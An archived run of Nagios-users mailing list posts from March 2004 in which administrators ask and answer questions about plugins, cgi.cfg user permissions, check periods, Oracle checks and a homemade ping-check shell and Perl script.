Mon, 1 Mar 2004 16:23:51 +0000 Olafur Osvaldsson wrote: > Hi, > I'm using nagios-plugins v1.3.1 from the FreeBSD ports tree and > got into a few problems using the check_procs plugin. > It was fixed by altering the configure.in file by moving the > FreeBSD part before the "ps -weo" check like had been done with > the OpenBSD check. > If you need more info or patch just let me know. What would help more is for you to test with CVS HEAD or the nightly snapshot, or even 1.4.0alpha1. We are trying to move that ahead, so we are not generally making big changes to 1.3.x - especially where changing the order of the ps checks for BSD tends to create a testing nightmare because it easliy breaks other OS's. > I also made a few changes to the contrib/check_nagios_db.pl script > so it would support PostgreSQL databases and got rid of an anoying > error. > The diff to that file is attached. Thanks. Could you submit that to the bug tracker on sourceforge? I probably won't jump on that ine because I need to see how nagios 2.0 changes that plugin, or even if it is still relevent. But I'd rather not lose your work even though I won't get to incorporate it right away. -- Karl ------------------------------------------------------- SF.Net is sponsored by: Speed Start Your Linux Apps Now. Build and deploy apps & Web services for Linux with a free DVD software kit from IBM. Click Now! http://ads.osdn.com/?ad_id=1356&alloc_id=3438&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From karl at debisschop.net Tue Mar 2 06:51:50 2004 From: karl at debisschop.net (Karl DeBisschop) Date: Tue, 2 Mar 2004 00:51:50 -0500 Subject: How to get uptime on remote Linux In-Reply-To: <001701c3ff28$de1552e0$0b02a8c0@yoda> References: <001701c3ff28$de1552e0$0b02a8c0@yoda> Message-ID: <20040302005150.646d0395.karl@debisschop.net> On Sun, 29 Feb 2004 19:02:28 -0600 "Jim Vaughan" wrote: > Hello, > > Just learning Nagios. > > - Installed Nagios 1.2 (02-02-2004) on Fedora Core 1 > - got it running great > - it's checking remote Linux boxes with nrpe > - It's checking Windows boxes using NSClient > - check it out at http://neo.jimvaughan.com/nagios > > A quick question so I can present this to folks back at work as an > alternative to our current monitoring systems: > > What plug-in do I use to return uptime on remote Linux boxes? You have choices: check_snmp check_by_ssh nrpe several others I do not remember off-hand Are you looking for load or time since last reboot? Install check_load remotely if that's what you need, or read load from snmp. If time since last reboot, I suspect there might be something in contrib of in the plugin dropoff at sourceforge. -- Karl ------------------------------------------------------- SF.Net is sponsored by: Speed Start Your Linux Apps Now. Build and deploy apps & Web services for Linux with a free DVD software kit from IBM. Click Now! http://ads.osdn.com/?ad_id=1356&alloc_id=3438&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From prabhu.anandh at wipro.com Tue Mar 2 07:57:43 2004 From: prabhu.anandh at wipro.com (prabhu.anandh at wipro.com) Date: Tue, 2 Mar 2004 12:27:43 +0530 Subject: Any idea..for this script problem. Message-ID: <07BBBE93ECD30547BC93005AF54E2557EE9BFC@blr-sjp-msg.wipro.com> Hi friends, I need some help in perl script. I have to get the output of the ping command to be stored in a file using perl script. I have got it correct if give the correct address.If I give the wrong one,It still runs...can anyone tell how to end the ping process and get the output stored in a file. Regards, Prabhu Anandh ------------------------------------------------------- SF.Net is sponsored by: Speed Start Your Linux Apps Now. Build and deploy apps & Web services for Linux with a free DVD software kit from IBM. Click Now! http://ads.osdn.com/?ad_id56&alloc_id438&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From fredrik.wanglund at mobeon.com Tue Mar 2 08:43:30 2004 From: fredrik.wanglund at mobeon.com (=?ISO-8859-1?Q?Fredrik_W=E4nglund?=) Date: Tue, 02 Mar 2004 08:43:30 +0100 Subject: apan-sql and nagios In-Reply-To: <20040301195358.18439.qmail@restricted.dyndns.org> References: <20040301195358.18439.qmail@restricted.dyndns.org> Message-ID: <40443B22.60007@mobeon.com> No, you dont't need mysql support in Nagios. /FredrikW Neil wrote: > Hey guys, > I have an existing and running nagios machine. I'm planning of adding > apan-sql. > 1. Do I have to recompile my nagios with mysql support? > 2. If I install nagios w/ mysql support over to my existing, and > recopied all my etc/*.cfg, will it still work even if I am still not > utilizing mysql database? > Thanks in advance. > Ronneil > > > ------------------------------------------------------- > SF.Net is sponsored by: Speed Start Your Linux Apps Now. > Build and deploy apps & Web services for Linux with > a free DVD software kit from IBM. Click Now! > http://ads.osdn.com/?ad_id=1356&alloc_id=3438&op=click > _______________________________________________ > Nagios-users mailing list > Nagios-users at lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/nagios-users > ::: Please include Nagios version, plugin version (-v) and OS when > reporting any issue. ::: Messages without supporting info will risk > being sent to /dev/null ------------------------------------------------------- SF.Net is sponsored by: Speed Start Your Linux Apps Now. Build and deploy apps & Web services for Linux with a free DVD software kit from IBM. Click Now! http://ads.osdn.com/?ad_id=1356&alloc_id=3438&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From auchi at orms.info Tue Mar 2 10:49:13 2004 From: auchi at orms.info (markus auchmann) Date: Tue, 02 Mar 2004 10:49:13 +0100 Subject: Authentication problem in cgi.cfg Message-ID: <6178f865c321c091c2078340a0c7245e@orms.info> hi ! i've a weird problem ... in my cgi.cfg i have many users for nagios with different rights to do things, i entered the passwords in htpasswd and it works fine. But everytime i log on (no matter wich user) i am logged in as guest and only have guest rights !? do you have any idea what i did wrong ? here is a clipping of my cgi.cfg: ------------------------------------------------- default_user_name=guest # SYSTEM/PROCESS INFORMATION ACCESS # This option is a comma-delimited list of all usernames that # have access to viewing the Nagios process information as # provided by the Extended Information CGI (extinfo.cgi). By # default, *no one* has access to this unless you choose to # not use authorization. You may use an asterisk (*) to # authorize any user who has authenticated to the web server. authorized_for_system_information=nagiosadmin,guest # CONFIGURATION INFORMATION ACCESS # This option is a comma-delimited list of all usernames that # can view ALL configuration information (hosts, commands, etc). # By default, users can only view configuration information # for the hosts and services they are contacts for. You may use # an asterisk (*) to authorize any user who has authenticated # to the web server. authorized_for_configuration_information=nagiosadmin,tesih,helpdeskw,helpdeskt,auinger,guest # SYSTEM/PROCESS COMMAND ACCESS # This option is a comma-delimited list of all usernames that # can issue shutdown and restart commands to Nagios via the # command CGI (cmd.cgi). Users in this list can also change # the program mode to active or standby. By default, *no one* # has access to this unless you choose to not use authorization. # You may use an asterisk (*) to authorize any user who has # authenticated to the web server. authorized_for_system_commands=nagiosadmin,guest authorized_for_configuration_information=nagiosadmin,tesih,helpdeskw,helpdeskt,auinger,guest # SYSTEM/PROCESS COMMAND ACCESS # This option is a comma-delimited list of all usernames that # can issue shutdown and restart commands to Nagios via the # command CGI (cmd.cgi). Users in this list can also change # the program mode to active or standby. By default, *no one* # has access to this unless you choose to not use authorization. # You may use an asterisk (*) to authorize any user who has # authenticated to the web server. authorized_for_system_commands=nagiosadmin,guest # GLOBAL HOST/SERVICE VIEW ACCESS # These two options are comma-delimited lists of all usernames that # can view information for all hosts and services that are being # monitored. By default, users can only view information # for hosts or services that they are contacts for (unless you # you choose to not use authorization). You may use an asterisk (*) # to authorize any user who has authenticated to the web server. authorized_for_all_services=nagiosadmin,tesih,helpdeskw,helpdeskt,auinger,guest authorized_for_all_hosts=nagiosadmin,tesih,helpdeskw,helpdeskt,auinger,guest # GLOBAL HOST/SERVICE COMMAND ACCESS # These two options are comma-delimited lists of all usernames that # can issue host or service related commands via the command # CGI (cmd.cgi) for all hosts and services that are being monitored. # By default, users can only issue commands for hosts or services # that they are contacts for (unless you you choose to not use # authorization). You may use an asterisk (*) to authorize any # user who has authenticated to the web server. authorized_for_all_service_commands=nagiosadmin,tesih,helpdeskw,helpdeskt,auinger,guest authorized_for_all_host_commands=nagiosadmin,tesih,helpdeskw,helpdeskt,auinger,guest ---------------------- thanks in advance, markus auchmann ------------------------------------------------------- SF.Net is sponsored by: Speed Start Your Linux Apps Now. Build and deploy apps & Web services for Linux with a free DVD software kit from IBM. Click Now! http://ads.osdn.com/?ad_id=1356&alloc_id=3438&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From h.baecker at ecofis.de Tue Mar 2 10:55:03 2004 From: h.baecker at ecofis.de (h.baecker at ecofis.de) Date: Tue, 2 Mar 2004 10:55:03 +0100 Subject: Checking Oracle DBs Message-ID: Hi List, I need some ideas for checking Oracle Databases via Nagios. Are there any ways for checking without installing an local Oracle instance for use check_oracle? Are there for example simple ways to connect to connect to an remote DB an test the same checks like check_oracle out of the plugins pack? How do you, if you, check your oracle dbs? Best regards Hendrik -------------- next part -------------- An HTML attachment was scrubbed... URL: From yiannis.zimianitis at sssltd.co.uk Tue Mar 2 11:04:07 2004 From: yiannis.zimianitis at sssltd.co.uk (Yiannis Zimianitis) Date: Tue, 2 Mar 2004 10:04:07 -0000 Subject: link utilization Message-ID: <8A542229726CD711A63600508BB3D3EC201C40@scntxms1.sss> Can Nagios monitor the utilization of a link on a cisco router? Has anyone done this? I have looked at many docs but with no success. Thanks Yiannis -------------- next part -------------- An HTML attachment was scrubbed... URL: From yiannis.zimianitis at sssltd.co.uk Tue Mar 2 11:20:18 2004 From: yiannis.zimianitis at sssltd.co.uk (Yiannis Zimianitis) Date: Tue, 2 Mar 2004 10:20:18 -0000 Subject: Checking Oracle DBs Message-ID: <8A542229726CD711A63600508BB3D3EC201C41@scntxms1.sss> Check_tcp port 1521 as follows in the services.cfg Check_command check_tcp!1521 thanks -----Original Message----- From: h.baecker at ecofis.de [mailto:h.baecker at ecofis.de] Sent: 02 March 2004 09:55 To: nagios-users at lists.sourceforge.net Subject: [Nagios-users] Checking Oracle DBs Hi List, I need some ideas for checking Oracle Databases via Nagios. Are there any ways for checking without installing an local Oracle instance for use check_oracle? Are there for example simple ways to connect to connect to an remote DB an test the same checks like check_oracle out of the plugins pack? How do you, if you, check your oracle dbs? Best regards Hendrik -------------- next part -------------- An HTML attachment was scrubbed... URL: From prabhu.anandh at wipro.com Tue Mar 2 12:35:50 2004 From: prabhu.anandh at wipro.com (prabhu.anandh at wipro.com) Date: Tue, 2 Mar 2004 17:05:50 +0530 Subject: script giving plugin missing error. Message-ID: <07BBBE93ECD30547BC93005AF54E2557EE9D7F@blr-sjp-msg.wipro.com> Hi folks this is what I tried and I get the following error (127 out of bounds plugin may be missing.)<---from status.log file This is the shell script that invokes perl script since I don't know how to check strings in shell script. #!/bin/sh RES1= `/bin/ping -c 2 -w 2 $HOSTADDRESS > out` <-----------------I am sending only 2 packets. RET=$? echo $RES1 ./new.pl exit $RET Perl script reads as follows: #!/usr/bin/perl open (FILE,") { if ($_ =~ /0 received/) <-----------------if no packets are received ,I will give it as critical or warning. { print ("CRITICAL - Plugin timed out after 10 seconds\n"); } if ($_=~ /2 received/) <-------------if both are received ,I assume that host is up. { print ("PING -OK\n"); } } #print "$_"; close (FILE); In hosts.cfg I have given check_command as check_new <----name of the shell file. In checkcommands.cfg Command_line /home/var/check_new $HOSTADDRESS How do I make the following to take effect in the web interface. Or where and what mistake I did. Thanks in advance. Regards, Prabhu Anandh ------------------------------------------------------- SF.Net is sponsored by: Speed Start Your Linux Apps Now. Build and deploy apps & Web services for Linux with a free DVD software kit from IBM. Click Now! http://ads.osdn.com/?ad_id56&alloc_id438&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From fredrik.wanglund at mobeon.com Tue Mar 2 12:57:58 2004 From: fredrik.wanglund at mobeon.com (=?ISO-8859-1?Q?Fredrik_W=E4nglund?=) Date: Tue, 02 Mar 2004 12:57:58 +0100 Subject: script giving plugin missing error. In-Reply-To: <07BBBE93ECD30547BC93005AF54E2557EE9D7F@blr-sjp-msg.wipro.com> References: <07BBBE93ECD30547BC93005AF54E2557EE9D7F@blr-sjp-msg.wipro.com> Message-ID: <404476C6.1040305@mobeon.com> The problem is the line './new.pl' Nagios is not executed from the libexec-directory, so you need the full path to the secondary script (and to the outfile). /FredrikW prabhu.anandh at wipro.com wrote: > Hi folks this is what I tried and I get the following error > (127 out of bounds plugin may be missing.)<---from status.log file > > This is the shell script that invokes perl script since I don't know how > to check strings in shell script. > > #!/bin/sh > RES1= `/bin/ping -c 2 -w 2 $HOSTADDRESS > out` <-----------------I am > sending only 2 packets. > RET=$? > echo $RES1 > ./new.pl > exit $RET > > Perl script reads as follows: > > #!/usr/bin/perl > open (FILE," while() > { > if ($_ =~ /0 received/) <-----------------if no packets are > received ,I will give it as critical or warning. > { > print ("CRITICAL - Plugin timed out after 10 seconds\n"); > } > if ($_=~ /2 received/) <-------------if both are received ,I > assume that host is up. > { > print ("PING -OK\n"); > } > } > #print "$_"; > close (FILE); > > > In hosts.cfg > I have given check_command as check_new <----name of the shell file. > > In checkcommands.cfg > Command_line /home/var/check_new $HOSTADDRESS > > > How do I make the following to take effect in the web interface. > Or where and what mistake I did. > > Thanks in advance. > > Regards, > Prabhu Anandh > > > ------------------------------------------------------- > SF.Net is sponsored by: Speed Start Your Linux Apps Now. > Build and deploy apps & Web services for Linux with > a free DVD software kit from IBM. Click Now! > http://ads.osdn.com/?ad_id56&alloc_id438&op=click > _______________________________________________ > Nagios-users mailing list > Nagios-users at lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/nagios-users > ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. > ::: Messages without supporting info will risk being sent to /dev/null ------------------------------------------------------- SF.Net is sponsored by: Speed Start Your Linux Apps Now. Build and deploy apps & Web services for Linux with a free DVD software kit from IBM. Click Now! http://ads.osdn.com/?ad_id=1356&alloc_id=3438&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From shorn at lssi.net Tue Mar 2 13:05:02 2004 From: shorn at lssi.net (Spencer L Horn) Date: Tue, 02 Mar 2004 07:05:02 -0500 Subject: Nagios - Time Period Question In-Reply-To: <1078154346.23968.6.camel@spencer.lssi.net> References: <41FD7929498A174DAB86C45F28E0EC0D3EA27D@golden-m.mactec.com> <1078154346.23968.6.camel@spencer.lssi.net> Message-ID: <1078229102.23968.52.camel@spencer.lssi.net> Update, it is still alarming at the wrong time, but not notifying anymore until within the time period parameters. so notification_period is using the time perios correctly, but check_period is not. Any thoughts? Spencer On Mon, 2004-03-01 at 10:19, Spencer L Horn wrote: > None the less i tried, and added both lines to the monitor, > > check_period ndafeed_release_monitor > notification_period ndafeed_release_monitor > > reloaded and it popped back up early again, as i showed before this > should not be executed until 10:15am per the time period. > > CRITICAL 03-01-2004 10:14:12 > > Any other ideas? > > Thanks agian, > > Spencer > > On Mon, 2004-03-01 at 09:46, Cook, Garry wrote: > > > Why would an active monitor completely ignore its associated time > > > period, let me explain. > > > > > > In services.cfg > > [snip] > > > > > > --- > > > > > > Yet this monitor continues to alarm outside of the specified time > > > period. > > > > > > Any Ideas? > > > > > > > Perhaps because you've changed the active check period, not the > > notification period. > > > > Garry W. Cook, CCNA > > Network Infrastructure Manager > > MACTEC, Inc. - http://www.mactec.com/ > > 303.308.6228 (Office) - 720.220.1862 (Mobile) > > > > ------------------------------------------------------- > SF.Net is sponsored by: Speed Start Your Linux Apps Now. > Build and deploy apps & Web services for Linux with > a free DVD software kit from IBM. Click Now! > http://ads.osdn.com/?ad_id=1356&alloc_id=3438&op=click > _______________________________________________ > Nagios-users mailing list > Nagios-users at lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/nagios-users > ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. > ::: Messages without supporting info will risk being sent to /dev/null ------------------------------------------------------- SF.Net is sponsored by: Speed Start Your Linux Apps Now. Build and deploy apps & Web services for Linux with a free DVD software kit from IBM. Click Now! http://ads.osdn.com/?ad_id=1356&alloc_id=3438&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From karl at debisschop.net Tue Mar 2 13:26:07 2004 From: karl at debisschop.net (Karl DeBisschop) Date: Tue, 2 Mar 2004 07:26:07 -0500 Subject: Checking Oracle DBs In-Reply-To: References: Message-ID: <20040302072607.28638ddd.karl@debisschop.net> On Tue, 2 Mar 2004 10:55:03 +0100 h.baecker at ecofis.de wrote: > Hi List, > > I need some ideas for checking Oracle Databases via Nagios. > > Are there any ways for checking without installing an local Oracle > instance for use check_oracle? > Are there for example simple ways to connect to connect to an remote > DB an test the same checks like check_oracle out of the plugins pack? > > How do you, if you, check your oracle dbs? check_oracle.sh originally only used tnsping, which you could easily copy to your nagios host. It looks ike tha would still work, so long as you did not invoke the other (more detailed) checks. -- Karl ------------------------------------------------------- SF.Net is sponsored by: Speed Start Your Linux Apps Now. Build and deploy apps & Web services for Linux with a free DVD software kit from IBM. Click Now! http://ads.osdn.com/?ad_id=1356&alloc_id=3438&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From jbautista at intercable.net.ve Tue Mar 2 13:50:54 2004 From: jbautista at intercable.net.ve (Jeyri bautista) Date: Tue, 2 Mar 2004 08:50:54 -0400 Subject: Where the nagios store the notification mail? Message-ID: <00c401c40054$fff6e540$2605020a@bjeyri> Hi, the nagios pc hanged the day before yesterday, and when I restarted it, a lot of old notification mails arrived to my inbox. I want to know how can I erase this notification mails to prevent the sending of the old mails by nagios. Thanks Jeyri Bautista -------------- next part -------------- An HTML attachment was scrubbed... URL: From prabhu.anandh at wipro.com Tue Mar 2 13:48:55 2004 From: prabhu.anandh at wipro.com (prabhu.anandh at wipro.com) Date: Tue, 2 Mar 2004 18:18:55 +0530 Subject: script giving plugin missing error. Message-ID: <07BBBE93ECD30547BC93005AF54E2557EE9DEA@blr-sjp-msg.wipro.com> Hi fredrik, I have checked it and the problem is not with the nagios.when it tries to execute check_new and the shell script does not create the "out " file. Any ideas of how to solve the problem.i have given the full path for new.pl ,but it is not working. If I try to execute manually by changing the $HOSTADDRESS in shell script with the exact address,it create out file.otherwise not????????why?? Thanks in advance. regards, Prabhu Anandh S. -----Original Message----- From: Fredrik W?nglund [mailto:fredrik.wanglund at mobeon.com] Sent: Tuesday, March 02, 2004 5:28 PM To: Prabhu Anandh (WT01 - TELECOM & INTER-NETWORKING SOLUTIONS) Cc: nagios-users at lists.sourceforge.net Subject: Re: [Nagios-users] script giving plugin missing error. The problem is the line './new.pl' Nagios is not executed from the libexec-directory, so you need the full path to the secondary script (and to the outfile). /FredrikW prabhu.anandh at wipro.com wrote: > Hi folks this is what I tried and I get the following error > (127 out of bounds plugin may be missing.)<---from status.log file > > This is the shell script that invokes perl script since I don't know > how to check strings in shell script. > > #!/bin/sh > RES1= `/bin/ping -c 2 -w 2 $HOSTADDRESS > out` <-----------------I am > sending only 2 packets. > RET=$? > echo $RES1 > ./new.pl > exit $RET > > Perl script reads as follows: > > #!/usr/bin/perl > open (FILE," while() > { > if ($_ =~ /0 received/) <-----------------if no packets are > received ,I will give it as critical or warning. > { > print ("CRITICAL - Plugin timed out after 10 seconds\n"); > } > if ($_=~ /2 received/) <-------------if both are received ,I > assume that host is up. > { > print ("PING -OK\n"); > } > } > #print "$_"; > close (FILE); > > > In hosts.cfg > I have given check_command as check_new <----name of the shell file. > > In checkcommands.cfg > Command_line /home/var/check_new $HOSTADDRESS > > > How do I make the following to take effect in the web interface. Or > where and what mistake I did. > > Thanks in advance. > > Regards, > Prabhu Anandh > > > ------------------------------------------------------- > SF.Net is sponsored by: Speed Start Your Linux Apps Now. Build and > deploy apps & Web services for Linux with a free DVD software kit from > IBM. Click Now! http://ads.osdn.com/?ad_id56&alloc_id438&op=click > _______________________________________________ > Nagios-users mailing list > Nagios-users at lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/nagios-users > ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. > ::: Messages without supporting info will risk being sent to /dev/null ------------------------------------------------------- SF.Net is sponsored by: Speed Start Your Linux Apps Now. Build and deploy apps & Web services for Linux with a free DVD software kit from IBM. Click Now! http://ads.osdn.com/?ad_id56&alloc_id438&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From c.r.b at btinternet.com Tue Mar 2 13:54:55 2004 From: c.r.b at btinternet.com (Carl) Date: Tue, 2 Mar 2004 12:54:55 -0000 Subject: User Defined 3D Map Message-ID: <000001c40055$8fe53580$293c0f0a@kendle.com> Hi All, My 2D maps and icons work fine, the 3D map works fine when using circular or tree type views, But when I try to use my user defined coords the map displays nothing. Example below define hostextinfo{ host_name pindorado notes_url icon_image router.png icon_image_alt router.png vrml_image router.png statusmap_image router.png 2d_coords 150,100 3d_coords 150,100,150 } define hostextinfo{ host_name vpnconc notes_url icon_image vpn_concentrator.png icon_image_alt vpn_concentrator.png vrml_image vpn_concentrator.png statusmap_image vpn_concentrator.png 2d_coords 150,250 3d_coords 150,250,150 } Thanks Carl -------------- next part -------------- An HTML attachment was scrubbed... URL: From Samba at guidemail.com Tue Mar 2 13:57:00 2004 From: Samba at guidemail.com (Samba) Date: Tue, 2 Mar 2004 06:57:00 -0600 Subject: Nagios 2.x in prod Message-ID: <9A7A0D17D695264AAE4E53DD69DF5B8F49B586@mail1.guidehome.com> Is anyone using Nagios 2.x in a production environment ? As I read the web site I get the impression it's ready to be deployed, but without documentation. Right ? Josh Konkol, CNE MCSE Technical Research Specialist .~. GuideOne Insurance /V\ /( )\ ^^-^^ samba at guidemail.com This message and accompanying documents are covered by the Electronic Communications Privacy Act, 18 U.S.C. ?? 2510-2521, and contains information intended for the specified individual(s) only. This information is confidential. If you are not the intended recipient or an agent responsible for delivering it to the intended recipient, you are hereby notified that you have received this document in error and that any review, dissemination, copying, or the taking of any action based on the contents of this information is strictly prohibited. If you have received this communication in error, please notify us immediately by e-mail, and delete the original message. ------------------------------------------------------- SF.Net is sponsored by: Speed Start Your Linux Apps Now. Build and deploy apps & Web services for Linux with a free DVD software kit from IBM. Click Now! http://ads.osdn.com/?ad_id56&alloc_id438&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From prabhu.anandh at wipro.com Tue Mar 2 13:58:34 2004 From: prabhu.anandh at wipro.com (prabhu.anandh at wipro.com) Date: Tue, 2 Mar 2004 18:28:34 +0530 Subject: how to ping instead of check_ping. Message-ID: <07BBBE93ECD30547BC93005AF54E2557EE9DF5@blr-sjp-msg.wipro.com> Hi fredrik, The option -w 2 I gave has got a reason.if I give a wrong address or if the host is down,it wont exit the shell script.and that must not be the case.so I gave that option to exit from the ping mode .i think you understand my answer.you try pinging some invalid address with and without -w option.it will give you the reason ,why I am giving -w option. And moreover,I am not doing this for learning.I have some ipv6 only machines and I am not able to ping using the ping command,so I have to use ping6 for that.i am testing whether it works for ping or not and I need your help in solving this problem. I am putting this problem in mailing list ,since I feel this will be a important subject. Thanks in advance. Thanks for Mailing Me.....Keep Mailing. regards, Prabhu Anandh S. -----Original Message----- From: Fredrik W?nglund [mailto:fredrik.wanglund at mobeon.com] Sent: Tuesday, March 02, 2004 5:52 PM To: Prabhu Anandh (WT01 - TELECOM & INTER-NETWORKING SOLUTIONS) Subject: Re: [Nagios-users] how to ping instead of check_ping. The -w flag to ping should make it exit after the specified time.. Why not use the check_ping plugin? If you are doing this just to learn, then ping is probably the worst start because it's quite 'noicy' and the output is not so easy to parse in a script... prabhu.anandh at wipro.com wrote: > Hi fredrik, > Thanks a lot.what you have sent to me is working and I need one more > favour.if one of the host is down,it keeps on pinging till 2 packets > and still it doesn't exit.i want to come out of the shell script if it > is unable to ping to that machine. I tried various possibilities and > none of them seem to work.i have even tried to write a perl script.but > it is of no use. Can you give me a suggestion. Thanks in advance. > > > regards, > Prabhu Anandh S. > > > -----Original Message----- > From: Fredrik W?nglund [mailto:fredrik.wanglund at mobeon.com] > > Sent: Tuesday, March 02, 2004 2:04 PM > To: Prabhu Anandh (WT01 - TELECOM & INTER-NETWORKING SOLUTIONS) > Subject: Re: [Nagios-users] how to ping instead of check_ping. > > > OK, very simple.. An example that Pings a host; > > Create this script in Nagios libexec-directory (Its not necessary to > put > > it there, but it keeps things easier) and call i check_test > > #!/bin/sh > > if [ $# -lt 3 ]; then > echo "Usage: $0 " > exit 3 > fi > > HOST=$1 > COUNT=$2 > INTERVAL=$3 > > RES=`ping -i $INTERVAL -c $COUNT -w 10 -q $HOST` > RET=$? > > > echo $RES > exit $RET > > Make the script executable by Nagios: > > chmod +x check_test > > > Add a check-command to Nagios (in checkcommands.cfg): > > define command { > command_name check_test > command_line /usr/local/nagios/libexec/check_test > > $HOSTADDRESS$ $ARG1$ $ARG2$ > } > > Add a service to a host: > > define service { > host_name server01 > service_description Test > check_command check_test!5!1 > notifications_enabled 1 > normal_check_interval 3 > use generic-service > } > > > Maybe you need more parameters in the service-definition depending on > > your templates. > > The example will ping server01 five times with 1 second interval every > 3 > > minutes. > > > > > /Fredrik W?nglund. > Happy hacking :-) > > > > > > prabhu.anandh at wipro.com wrote: > > >>Hi Fredrik, >>Can you give me a small example of how to do it...........thanks in > > >>advance. >> > > > >>regards, >>Prabhu Anandh S. >> > > > >>-----Original Message----- >>From: Fredrik W?nglund [mailto:fredrik.wanglund at mobeon.com] >> > > >>Sent: Monday, March 01, 2004 5:40 PM >>To: Prabhu Anandh (WT01 - TELECOM & INTER-NETWORKING SOLUTIONS) >>Cc: nagios-users at lists.sourceforge.net >>Subject: Re: [Nagios-users] how to ping instead of check_ping. >> > > > >>Create a script, make it executable for the Nagios-user and add a >> > > >>command-definition (usually to checkcommands.cfg). Done. >> > > >>/FredrikW >> > > > >>prabhu.anandh at wipro.com wrote: >> > > > >>>Hi folks, >>>Can anyone help me how to run a shell script for ping instead of >>>using >> > > >>>the check_ping command. Just give me the idea whether it can be done >> > > >>>or not.I just wanted to execute some of the unix commands along with >> > > >>>nagios. If anyone experimented this ,share your experience.I am new >>>to >> > > >>>shell programming.I wanted to learn and any help will be greatly >> > > >>>appreciated. Thanks in advance. >>>Regards, >>>Prabhu Anandh >>> >> > > >>> > > > > > > >>>------------------------------------------------------- >>>SF.Net is sponsored by: Speed Start Your Linux Apps Now. Build and >> > > >>>deploy apps & Web services for Linux with a free DVD software kit >>>from >> > > >>>IBM. Click Now! http://ads.osdn.com/?ad_id56&alloc_id438&op=click >>>_______________________________________________ >>>Nagios-users mailing list >>>Nagios-users at lists.sourceforge.net >>>https://lists.sourceforge.net/lists/listinfo/nagios-users >>>::: Please include Nagios version, plugin version (-v) and OS when > > >>>reporting any issue. >> > > >>>::: Messages without supporting info will risk being sent to >>>/dev/null >> > > > >>Confidentiality Notice >> > > > >>The information contained in this electronic message and any > > >>attachments to this message are intended for the exclusive use of the > > >>addressee(s) and may contain confidential or privileged information. > > >>If you are not the intended recipient, please notify the sender at > > >>Wipro or Mailadmin at wipro.com immediately and destroy all copies of > > >>this message and any attachments. > > > > Confidentiality Notice > > > The information contained in this electronic message and any > attachments to this message are intended for the exclusive use of the > addressee(s) and may contain confidential or privileged information. > If you are not the intended recipient, please notify the sender at > Wipro or Mailadmin at wipro.com immediately and destroy all copies of > this message and any attachments. ------------------------------------------------------- SF.Net is sponsored by: Speed Start Your Linux Apps Now. Build and deploy apps & Web services for Linux with a free DVD software kit from IBM. Click Now! http://ads.osdn.com/?ad_id56&alloc_id438&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From h.baecker at ecofis.de Tue Mar 2 14:02:52 2004 From: h.baecker at ecofis.de (h.baecker at ecofis.de) Date: Tue, 2 Mar 2004 14:02:52 +0100 Subject: Antwort: RE: script giving plugin missing error. In-Reply-To: <07BBBE93ECD30547BC93005AF54E2557EE9DEA@blr-sjp-msg.wipro.com> References: <07BBBE93ECD30547BC93005AF54E2557EE9DEA@blr-sjp-msg.wipro.com> Message-ID: Hi Prabhu, Did you try to execute your script as "nagios-user" or just as root? Perhaps the nagios user is not permitted to write files in the working directory of your script? Regards Hendrik Gesendet von: nagios-users-admin at lists.sourceforge.net 02.03.2004 13:48 An Kopie Thema RE: [Nagios-users] script giving plugin missing error. Hi fredrik, I have checked it and the problem is not with the nagios.when it tries to execute check_new and the shell script does not create the "out " file. Any ideas of how to solve the problem.i have given the full path for new.pl ,but it is not working. If I try to execute manually by changing the $HOSTADDRESS in shell script with the exact address,it create out file.otherwise not????????why?? Thanks in advance. regards, Prabhu Anandh S. 